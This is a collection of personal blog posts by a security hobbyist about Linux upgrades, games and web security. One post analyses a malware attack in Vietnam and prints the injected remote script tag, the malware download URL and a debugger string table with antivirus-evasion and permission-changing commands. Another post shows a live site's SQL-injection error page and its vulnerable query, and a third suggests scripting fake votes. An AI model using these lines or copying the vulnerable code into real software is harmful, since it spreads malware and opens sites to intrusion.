McAfee SiteAdvisor

Lol, have a look at this analysis of my website by McAfee: http://www.siteadvisor.com/sites/freewebs.com/quangntenemy

I suppose many people downloaded the FreeRice bot I wrote a long time ago and that's why they had my site tested for security :P

Yay for 2009.0

Hey guys, I'm back with a brand new operating system :)

After installing I encountered some bug with the display manager that made the keyboard stop working after a while so I needed to use KDM 3.

KDE 4 is awesome! Here's a screenshot:

I'm still a bit unfamiliar with the changes though :( I can't find the new hotkey for "Show desktop", which used to be Ctrl-Alt-D in KDE 3. The PrintScreen key doesn't seem to work, and I need to run the ksnapshot command to take a screnshot. The desktop setting to change the monitor gamma is gone, and I need to use the xgamma command. And more...

Let's try to tame this new penguin :)

Mandriva Linux 2009.0

Mandriva announced the official public release of Mandriva Linux 2009.0 yesterday. It's the first time in many years they've met their scheduled date! I am downloading it now. Wish me good luck!

Winzip password collision

I created this zip file for a word guessing contest at ForumWarz, using a strong password, "5be890c219b0a837600e5fbb7ae8a2505be890c219b0a837600e5fbb7ae8a250" (not insanely strong but I guess that's strong enough for an average user). But it got cracked easily using AZPR with a brute-force attack.

It turned out that you can unzip the file with a much shorter password "tdc4Dl" too.

Surprised? I knew that zip protection was insecure but never thought it was that terrible.

This paper has some more information about zip encryption weaknesses, but I'm too lazy to read something that long. Maybe rhican can enlighten me :)

HTTP Error 403.2 - Forbidden: Read access is denied

Today I encountered this stupid error on my server all of a sudden. A virtual website threw the stupid error message, while the others were still working fine.

The only clue I could find from the system admin was that he recently installed the crappy SharePoint stuff from M$.

After hours of searching on the internet, I finally found the solution to my problem here: http://objectmix.com/inetserver/285116-http-error-403-2-forbidden-read-access-denied-2.html#post1008979
Basically what happened was that the SharePoint installer screwed up some hidden metabase property named AccessFlags. On my server it was changed to 30215. I needed to change it back to 519 for it to work again.

What can I say? M$ sucks. As always!

Steganabara on Ohloh

I came over Ohloh today while looking at the subversion website for the new update. It looks like a pretty cool social network for open source developers and lovers.

At Ohloh you can promote your software projects and vote on projects you like. So I went on ahead and created a project page for Steganabara: http://www.ohloh.net/projects/steganabara.

If you enjoy this great steganalysis tool you should create an account there, add Steganabara to your stack, write reviews, and vote for it :)

There hasn't been any major update to Steganabara for quite a while. So if you have any idea for improvement, feel free to contact me.

idlemonkeys.net and KVIrc

I have always been able to have my nick auto-identified on the idlemonkeys network simply by using the "Server Details" dialog in KVIrc:


But since the server change a few months ago this method is no longer working for me.

After playing around with the various settings in KVIrc I finally managed to find another way to get the job done using the "General Preferences" dialog:

Doing it this way the password is clearly visible in plain sight but I have no other options. And it kinda sucks as KVIrc seems to be the only client that can't handle the change.

Maybe the KVIrc guys should have a look into it rather than working on the new major version.

Something

Hey guys,

Expecting something new from me?

Nothing much here. I've been quite busy at work and horst35 managed to took my first place on rankk for a few days but somehow I managed to get it back by solving skraeling's evil chall.

I have a cool new idea for a crackit chall but found no time to code it... yet.

And finally, never subscribe to the Code Project newsletter. I made that mistake a while ago and unsurprisingly the unsubscribe feature didn't seem to work. I get tons of lame stuffs emailed to me everyday. Maybe I should consider blocking those emails soon.

Friday the 13th?

Hey guys,

Did anything happen to you yesterday - Friday the 13th?

As the day was considered a day of bad luck, I took extra care of everything in order not to get into any problem. But when I came back home, I was informed that the power supply had burnt away. I could not get anything done last night, other than watching the fantastic victory of the Netherlands against France.

Today I had to spend a few bucks to get the thing replaced. Fortunately enough, the mainboard did not suffer any damage.

2008.1 finally

Didn't want to reinstall the whole system from scratch, I have been trying to upgrade the old packages manually.

Things went fine until yesterday.

After a massive upgrade of more than 100 packages, I rebooted the system and found myself logging into the text mode. X server failed to start. Looking at the logs I found that a video driver module failed to load. Well, that's the worst situation you could get yourself involved in.

So I decided to take the risk and try updating my system using the installation CDs. The estimated time was more than 3 hours, but actually the packages were all upgraded in just an hour. In the end, I got an error claiming that some media.cfg file could not be found, but after rebooting everything went fine.

Finally I got my system up-to-date (hopefully) with minimal efforts. Now it's time to try out all the new features!

TBS == dead?

A few months ago, an old friend of mine, Chemi, returned to TBS, and suddenly asked me, "Hey, is TBS dead?". I answered, "Yeah, Inferno was being lazy"...

Actually although seeing the site dying, I was still waiting (or rather hoping) for some changes that would make the site alive again.

But that has yet to happen.

No new challenge has been added for like 8 months.

Many good users have gone into the shadow.

The forum has become a place for rhican to show off his 1337 h4x0r1ng skills.

An old CSRF bug that I found a few years ago has been exploited further that Inferno could do nothing but disabling the img tag and avatar feature.

And sadly most recent updates to the site were done by Erik, who officially declared retired a few years ago.

So I gotta admit TBS is pretty much dead now.

But maybe it's still not too late to revive the site once again?

wtf?

[quangntenemy@localhost mandriva]$ md5sum xaa
28cac97e24514e00da387d605d64e9d4  xaa
[quangntenemy@localhost mandriva]$ cp xaa /home/quangntenemy/iso/
[quangntenemy@localhost mandriva]$ md5sum /home/quangntenemy/iso/xaa
30b5260aa446ba28e9aa5cc2d31f3766  /home/quangntenemy/iso/xaa
[quangntenemy@localhost mandriva]$ cp xaa /home/quangntenemy/iso/
cp: overwrite `/home/quangntenemy/iso/xaa'? y
[quangntenemy@localhost mandriva]$ md5sum /home/quangntenemy/iso/xaa
8bf1672d80eef1beefcc528ea8bff1ba  /home/quangntenemy/iso/xaa
[quangntenemy@localhost mandriva]$ cp -f xaa /home/quangntenemy/iso/
[quangntenemy@localhost mandriva]$ md5sum /home/quangntenemy/iso/xaa
26c5636cb00f103689f9432e9ff529a8  /home/quangntenemy/iso/xaa
[quangntenemy@localhost mandriva]$ md5sum /home/quangntenemy/iso/xaa
26c5636cb00f103689f9432e9ff529a8  /home/quangntenemy/iso/xaa
[quangntenemy@localhost mandriva]$ f***
bash: f***: command not found
[quangntenemy@localhost mandriva]$ cp xaa /mnt/data/iso/
[quangntenemy@localhost mandriva]$ md5sum /mnt/data/iso/xaa
28cac97e24514e00da387d605d64e9d4  /mnt/data/iso/xaa

Err wtf's happening here?

I was trying to copy a file of about 2GB from my USB to my hard disk, but the checksum failed all the time :(

In the end I managed to get things done by copying the file to a fat32 partition instead.

I guess it's kinda buggy copying files between different types of partition...

Any explanation?

Mandriva 2008.1 Spring

Finally! The official spring version of Mandriva Linux was released last week. And as a great fan, I downloaded the 3 cd version and tried upgrading my system to see the cool new features.

Unfortunately, after inspecting my system, the installer warned me that it could not do a safe upgrade to 2008.1 and recommended that I do a fresh install instead. I have had enough problems after every system upgrade so I figured it would be best to do as advised. But I have been enjoying my box so much that it will take a lot of time to back up the data, install the new system and customize it...

So I guess I'll have to hold it back for a little longer...

Noobs happen here

Kevin Turner came to Vietnam yesterday for the "Heroes happen here" events, in which he introduced the "new and innovative" 2008 solutions. But its companion website, http://www.heroeshappenhere.vn, is very much vulnerable to SQL injection.

Unclosed quotation mark before the character string '''.
Line 1: Incorrect syntax near '''.
Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark before the character string '''.
Line 1: Incorrect syntax near '''.

Source Error:

Line 21: cmd.CommandText="SELECT count(*) FROM Newletters WHERE Email='"+ txtEmail.Text+"'";
Line 22:
Line 23: int Count = (int)cmd.ExecuteScalar();
Line 24:
Line 25: if (Count > 0)


Source File: d:\hosting\heroeshappenhere\footer.ascx Line: 23

Stack Trace:

[SqlException (0x80131904): Unclosed quotation mark before the character string '''.
Line 1: Incorrect syntax near '''.]
System.Data.SqlClient.SqlConnection.OnError(SqlException exception, Boolean breakConnection) +925466
System.Data.SqlClient.SqlInternalConnection.OnError(SqlException exception, Boolean breakConnection) +800118
System.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject stateObj) +186
System.Data.SqlClient.TdsParser.Run(RunBehavior runBehavior, SqlCommand cmdHandler, SqlDataReader dataStream, BulkCopySimpleResultSet bulkCopyHandler, TdsParserStateObject stateObj) +1932
System.Data.SqlClient.SqlDataReader.ConsumeMetaData() +31
System.Data.SqlClient.SqlDataReader.get_MetaData() +62
System.Data.SqlClient.SqlCommand.FinishExecuteReader(SqlDataReader ds, RunBehavior runBehavior, String resetOptionsString) +297
System.Data.SqlClient.SqlCommand.RunExecuteReaderTds(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, Boolean async) +1005
System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method, DbAsyncResult result) +132
System.Data.SqlClient.SqlCommand.RunExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream, String method) +32
System.Data.SqlClient.SqlCommand.ExecuteScalar() +137
ASP.footer_ascx.cmdNewletter_Click(Object sender, EventArgs e) in d:\hosting\heroeshappenhere\footer.ascx:23
System.Web.UI.WebControls.Button.OnClick(EventArgs e) +105
System.Web.UI.WebControls.Button.RaisePostBackEvent(String eventArgument) +107
System.Web.UI.WebControls.Button.System.Web.UI.IPostBackEventHandler.RaisePostBackEvent(String eventArgument) +7
System.Web.UI.Page.RaisePostBackEvent(IPostBackEventHandler sourceControl, String eventArgument) +11
System.Web.UI.Page.RaisePostBackEvent(NameValueCollection postData) +33
System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +1746


Version Information: Microsoft .NET Framework Version:2.0.50727.1433; ASP.NET Version:2.0.50727.1433

M$ is still M$, after all...

Something for March

Just noticed April is coming, and I haven't blogged anything for March so far. So now is the time for some updates.

It sucks to discover that your free webhost, webcounter and blograting are all insecure.
http://www.xssed.com/search?key=freewebs
http://www.xssed.com/search?key=extremetracking
http://www.xssed.com/search?key=technorati

It's April Fool's soon, and I can't wait to see a new Google's hoax.

Technorati

Guys, have you ever tried clicking on the green icon on the right sidebar of this page? If you haven't, try it :P By clicking on the icon, you become a fan of this blog on Technorati, which is a good thing.

But unfortunately today I'm not in the mood to say how great Technorati is, as a universal blog rating, or an SEO service. On the contrary, I'm here to whine about it...

The first thing I don't like about Technorati is the rating system itself. It is heavily based on blog reactions, which is never correct - the world wide web isn't just about blogging! And sometimes, the ranking is inconsistent across various pages.

The second problem with Technorati is that the blog information there is very much outdated. I tried pinging a few times a week, but the content is still one hundred days lagged behind. An automated ping script could solve the problem, but there's a better way: just let your visitors ping the blogs for you. Here's the code to include as HTML/Javascript:

<img src="http://www.technorati.com/ping/http://quangntenemy.multiply.com/journal?url=http%3A%2F%2Fquangntenemy.blogspot.com&ip=1" alt="." style="width: 1px; height: 1px;" />

(If Technorati ever gets overflown with pings, it's not my fault, it's their fault for having such a crappy service)

Final thing I would like to mention today, Technorati has a few XSS vulnerabilities that can be found and fixed easily, but no one bothered to take any action. Maybe they should fire some developers, or send them to a basic web security course... If you are a Technorati user, be careful out there, or your Technorati account will get pwned in no time.

New7Wonders

I believe many of you have heard about the famous 7 wonders of the ancient world. But do you know there is a project that attempts to create a new list of modern wonders: http://www.new7wonders.com? A poll is hosted online there and internet users all over the world can come and cast their votes for their favourite candidates.

The media in Vietnam has been doing a fine job of spreading the words to many Vietnamese patriots, and as a result, the 3 candidates from Vietnam are leading the board at the moment. And out of curiosity, I had a quick look at the website to see if I can find anything interesting.

Firstly I'd like to say, online voting is unfair by any means. People who have never visited the wonders before can still cast their votes, which will surely lead to an incorrect result. And what's even worse is that countries with high population surely have an advantage.

Another problem of new7wonders is that the voting system looks to be in the 90s. In order to cast a vote, a user just has to enter his email address, some personal information, vote, and click a link in the confirmation email. No anti-bot mechanism is applied, so cheating is fairly easy. Just a script to automate the vote, and an email filter on your mail server to grab the link and click on it :P

Maybe my blog will become a new wonder of the world soon? :P

DotA

Hey guys,

Probably you're wondering why there hasn't been a new post for a long time. Well I have been playing DotA like crazy recently. Although Warcraft is surely inferior to Starcraft, DotA is really a great game, especially when you got to play in a great team.

While training hard to become a DotA gosu, I have played various heroes, among which Traxex, Axe and Bloodseeker are my favourites. If you are a DotA fan, we should meet up and discuss about DotA strategies some time :)

My first XSS published

Yeah, finally an XSS bug I found has been published on xssed.com! Actually, after stumbling upon this site in late 2007, I had been submitting quite a few bugs discovered while wandering the wilderness, but this was the first one published so far. I wonder what happened to the others - were they not important enough to be there, or just the admins were too busy to process all the submissions. But anyway, I'll keep submitting bugs I have found - for a better digital world :)

Believe it or not, since I gained "underground" knowledge about internet security, I have been seeing vulnerabilities everywhere. Like in 10 websites I visited, 5 were vulnerable to XSS or SQL injection, 2 had other bugs that surely made them insecure, and 3 had bugs that had been/would be discovered (and exploited) by someone other than me. And most of the time my emails to the webmaster went to /dev/null. Not to mention the fact that only a few webmasters were capable of fixing them the right way.

Now with xssed, hopefully my bug reporting will become more effective. And I wonder if there are any other sites like that where I can submit SQL injection vulnerabilities and other bugs too.

Virus again? Damn it!

In the last few days there was an attack from a Chinese hacker to computer networks in Vietnam. When surfing the Internet, especially on Vietnamese websites, many people see advertisements of Chinese websites roaming around the pages. There's a rumour going around that this attack is related to the recent clash between China and Vietnam over some islands, but I'm in no position to discuss about it :P

Anyway, as a patriot, I decided to make everything clear once and for all. By checking the source code of the pages, I found the following piece of code "injected" on the pages:

<script src=http://121.15.220.104/1.js></script>

I came to a conclusion that this was a man-in-the-middle attack, in which the hacker pwnzored a node somewhere between the victim computers and the host, and filtered the content on-the-fly. After doing some research on Google, I found that this was done with a virus that attacked a computer, then turned it into a gateway by faking the MAC address, and then filtered everything that went through it (this method is called ARP spoofing). Also I found a program that was probably the evil thing spreading the virus over the network: http://121.15.220.104/Setup.exe.

I decided to have a look at it. After some unpacking, I was able to load in under OllyDbg. You would be amazed to see the String table:

Address    Disassembly                               Text string
004016B4   PUSH Setup.0040B058                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004016C5   PUSH Setup.0040B054                       ASCII " ""
0040175E   PUSH Setup.0040B04C                       ASCII "\*"
004017E4   PUSH Setup.0040B040                       ASCII ".."
004019C6   MOV EDI,Setup.0040B100                    ASCII "%c%c%c"
00401AC1   PUSH Setup.0040B040                       ASCII ".."
00401B24   PUSH Setup.0040B0F8                       ASCII "360"
00401B3A   MOV EAX,Setup.0040B0F4                    ASCII "AD"
00401BAB   MOV EAX,Setup.0040B0F0                    ASCII "GO"
00401C45   PUSH Setup.0040B0EC                       ASCII ".js"
00401CC6   PUSH Setup.0040B0E8                       ASCII "exe"
00401D2A   PUSH Setup.0040B0E4                       ASCII "\~"
00401E4A   PUSH Setup.0040B0E0                       ASCII "rar"
00401E5E   PUSH Setup.0040B0DC                       ASCII "zip"
00401E9E   CMP DWORD PTR SS:[EBP-1EC],500000         ASCII "Actx "
00401EE1   PUSH Setup.0040B0D4                       ASCII "\bak\"
00401F5F   PUSH Setup.0040B0CC                       ASCII " X ""
00401F6A   PUSH Setup.0040B0C8                       ASCII "" ""
00401F95   PUSH Setup.0040B0B4                       ASCII "" -r -inul -ibck -y"
0040203C   PUSH Setup.0040B0D4                       ASCII "\bak\"
004020BE   PUSH Setup.0040B0D4                       ASCII "\bak\"
00402108   PUSH Setup.0040B0AC                       ASCII " A ""
00402113   PUSH Setup.0040B0C8                       ASCII "" ""
00402138   PUSH Setup.0040B084                       ASCII "*.*" -r -inul -ibck -y -m0 -df -ep -ep1"
00402230   PUSH Setup.0040B080                       ASCII "ddd"
00402285   PUSH Setup.0040B0D4                       ASCII "\bak\"
0040255D   PUSH Setup.0040B11C                       ASCII "^|"
004025B0   PUSH Setup.0040B10C                       ASCII "cmd.exe /c ""
0040279B   PUSH Setup.0040B120                       ASCII "%c:\"
00402974   PUSH Setup.0040B284                       ASCII "ieframe"
00402988   PUSH Setup.0040B274                       ASCII "cabinetwclass"
0040299C   PUSH Setup.0040B25C                       ASCII "mozillauiwindowclass"
004029B0   PUSH Setup.0040B254                       ASCII "metapad"
004029C5   PUSH Setup.0040B24C                       ASCII "dr.web"
004029DB   PUSH Setup.0040B244                       ASCII "avg "
00402A03   PUSH Setup.0040B230                       ASCII "tapplication"
00402A27   PUSH Setup.0040B220                       ASCII "AfxMDIFrame42s"
00402A3A   PUSH Setup.0040B218                       ASCII "360safe"
00402A50   PUSH Setup.0040B218                       ASCII "360safe"
00402A66   PUSH Setup.0040B210                       ASCII "360anti"
00402A7C   PUSH Setup.0040B208                       ASCII "afx:"
00402AAB   MOV EDI,Setup.0040B200                    ASCII "#32770"
00402AD2   PUSH Setup.0040B1E8                       ASCII "thunderrt6main"
00402AF8   PUSH Setup.0040B1E0                       ASCII "antivir"
00402B3A   PUSH Setup.0040B1C8                       ASCII "kvxp"
00402BC4   PUSH Setup.0040B198                       ASCII "thunderrt6formdc"
00402BDE   PUSH Setup.0040B188                       ASCII "ThunderRT6Timer"
00402BF1   PUSH Setup.0040B180                       ASCII "ewido"
00402C07   PUSH Setup.0040B178                       ASCII "escan"
00402C1D   PUSH Setup.0040B170                       ASCII "mcagent"
00402C7E   PUSH Setup.0040B158                       ASCII "bitdefender"
00402C99   PUSH Setup.0040B148                       ASCII "facelesswndproc"
00402D3A   PUSH Setup.0040B130                       ASCII "##vso##"
00402D4D   PUSH Setup.0040B128                       ASCII "avast"
00402E58   PUSH Setup.0040B0E8                       ASCII "exe"
00402FAE   PUSH Setup.0040B9C0                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00403005   PUSH Setup.0040B9A4                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c"
00403046   PUSH Setup.0040B96C                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00403057   MOV EDI,Setup.0040B968                    ASCII "XOR"
00403098   PUSH Setup.0040B200                       ASCII "#32770"
00403122   PUSH Setup.0040B960                       ASCII "xxpin"
004031C5   PUSH Setup.0040B8B0                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004032A4   PUSH Setup.0040B7D4                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004032FC   PUSH Setup.0040B96C                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00403323   PUSH Setup.0040B7C8                       ASCII "%c%c%c%c%c"
00403355   PUSH Setup.0040B7B4                       ASCII "%c%c%c%c%c%c%c%c%c"
00403385   PUSH Setup.0040B7A0                       ASCII "%c%c%c%c%c%c%c%c"
0040342C   PUSH Setup.0040B744                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004034A2   PUSH Setup.0040B738                       ASCII "%s\cmd.exe"
004034D7   PUSH Setup.0040B730                       ASCII "%s\com"
004034F1   PUSH Setup.0040B728                       ASCII "%s\%s"
0040352D   PUSH Setup.0040B718                       ASCII "pagefile.pif"
00403544   PUSH Setup.0040B708                       ASCII "CabinetWClass"
00403897   PUSH Setup.0040B688                       ASCII "%c%c%ct%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004038D3   PUSH Setup.0040B678                       ASCII "Common Startup"
004038F9   PUSH Setup.0040B728                       ASCII "%s\%s"
00403989   PUSH Setup.0040B61C                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004039F2   PUSH Setup.0040B614                       ASCII ".exe"
00403AA0   PUSH Setup.0040B5DC                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00403B14   PUSH Setup.0040B614                       ASCII ".exe"
00403B6E   PUSH Setup.0040B5D0                       ASCII "\rar.exe"
00403B73   PUSH Setup.0040B5C4                       ASCII "\winrar.exe"
00403C0C   PUSH Setup.0040B544                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00403CA2   PUSH Setup.0040B4F0                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00403D19   PUSH Setup.0040B4E4                       ASCII " /e /t /g "
00403D3A   PUSH Setup.0040B4E0                       ASCII ":F"
00403D52   PUSH Setup.0040B4D4                       ASCII "cacls.exe"
00403D7F   PUSH Setup.0040B4BC                       ASCII " /e /t /g Everyone:F"
00403D93   PUSH Setup.0040B4D4                       ASCII "cacls.exe"
00403DCC   PUSH Setup.0040B4E4                       ASCII " /e /t /g "
00403DF1   PUSH Setup.0040B4E0                       ASCII ":F"
00403E09   PUSH Setup.0040B4D4                       ASCII "cacls.exe"
00403E72   PUSH Setup.0040B4BC                       ASCII " /e /t /g Everyone:F"
00403E8A   PUSH Setup.0040B4D4                       ASCII "cacls.exe"
00403EDB   PUSH Setup.0040B4E4                       ASCII " /e /t /g "
00403F00   PUSH Setup.0040B4E0                       ASCII ":F"
00403F18   PUSH Setup.0040B4D4                       ASCII "cacls.exe"
00403F81   PUSH Setup.0040B4BC                       ASCII " /e /t /g Everyone:F"
00403F99   PUSH Setup.0040B4D4                       ASCII "cacls.exe"
00404053   PUSH Setup.0040B4B0                       ASCII "\ntfsus.exe"
004040BC   PUSH Setup.0040B4AC                       ASCII "pac"
00404190   PUSH Setup.0040B4A8                       ASCII " ^"
00404212   PUSH Setup.0040B614                       ASCII ".exe"
0040424F   PUSH Setup.0040B49C                       ASCII ".exe.log"
0040426C   PUSH Setup.0040B4A8                       ASCII " ^"
004042EE   PUSH Setup.0040B494                       ASCII "%s.~"
004042FF   PUSH Setup.0040B48C                       ASCII "%s.exe"
0040436D   MOV EDI,Setup.0040B484                    ASCII ".log"
0040444D   PUSH Setup.0040B47C                       ASCII "\netc"
0040445E   PUSH Setup.0040B474                       ASCII "fg.000"
0040446B   PUSH Setup.0040B468                       ASCII "\netcfg.dll"
004044A8   PUSH Setup.0040B464                       ASCII "#32"
004044B5   PUSH Setup.0040B460                       ASCII "770"
00404569   PUSH Setup.0040B450                       ASCII "CNJBlaipbofF"
004045BE   PUSH Setup.0040B438                       ASCII "%c%c%c%c%c%c%c%c%c%c%c"
004045F3   PUSH Setup.0040B120                       ASCII "%c:\"
004046B0   PUSH Setup.0040B414                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004046D7   PUSH Setup.0040B728                       ASCII "%s\%s"
00404744   PUSH Setup.0040B408                       ASCII "%s\boot.ini"
00404822   PUSH Setup.0040B400                       ASCII "\bak"
0040489A   PUSH Setup.0040B3E0                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004048B8   PUSH Setup.0040B728                       ASCII "%s\%s"
004048F1   PUSH Setup.0040B7A0                       ASCII "%c%c%c%c%c%c%c%c"
0040490C   PUSH Setup.0040B728                       ASCII "%s\%s"
00404949   PUSH Setup.0040B3C8                       ASCII "%c%c%c%c%c%c%c%c%c%c"
00404973   PUSH Setup.0040B728                       ASCII "%s\%s"
004049BA   PUSH Setup.0040B400                       ASCII "\bak"
004049DB   PUSH Setup.0040B400                       ASCII "\bak"
00404A15   PUSH Setup.0040B400                       ASCII "\bak"
00404A60   PUSH Setup.0040B9C0                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00404B7A   PUSH Setup.0040B2AC                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%"...
00404EE6   PUSH Setup.0040BA38                       ASCII "ping.exe -f -n 1 www.baidu.com"
00405004   PUSH Setup.0040BA5C                       ASCII "rb"
00405077   PUSH Setup.0040BA5C                       ASCII "rb"
00405117   PUSH Setup.0040BA58                       ASCII "wb"
00405229   MOV DWORD PTR SS:[ESP],Setup.0040BA5C     ASCII "rb"
00405648   MOV DWORD PTR SS:[ESP],Setup.0040BA5C     ASCII "rb"
00405669   PUSH Setup.0040BA58                       ASCII "wb"
0040578F   PUSH Setup.0040BA60                       ASCII "cmd.exe /c del /F /Q ""
00405800   PUSH Setup.0040BA58                       ASCII "wb"
004059E7   PUSH Setup.0040B438                       ASCII "%c%c%c%c%c%c%c%c%c%c%c"
00405A38   PUSH Setup.0040B7B4                       ASCII "%c%c%c%c%c%c%c%c%c"
00405A52   MOV ESI,Setup.0040BB9C                    ASCII "
"
00405A87   PUSH Setup.0040B414                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00405AD1   PUSH Setup.0040BB70                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%s%s%c%c%c%c"
00405B2E   PUSH Setup.0040BB30                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00405B79   PUSH Setup.0040BB04                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00405BD6   PUSH Setup.0040BAC0                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%s%s%s%s%s%c%c%c%c"
00405C37   PUSH Setup.0040BA78                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00405D5C   PUSH Setup.0040BBA0                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c"
00405EDF   PUSH Setup.0040B120                       ASCII "%c:\"
00405F11   MOV EBP,Setup.0040B400                    ASCII "\bak"
0040602B   PUSH Setup.0040B438                       ASCII "%c%c%c%c%c%c%c%c%c%c%c"
0040606C   PUSH Setup.0040BBA0                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c"
00406099   PUSH Setup.0040B120                       ASCII "%c:\"
00406241   PUSH Setup.0040BE90                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
0040628F   PUSH Setup.0040B3E0                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00406391   PUSH Setup.0040BDE4                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00406476   PUSH Setup.0040BD30                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00406553   PUSH Setup.0040BDE4                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
00406634   PUSH Setup.0040BD30                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004066FD   PUSH Setup.0040BC9C                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
004067BD   PUSH Setup.0040BE90                       ASCII "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"
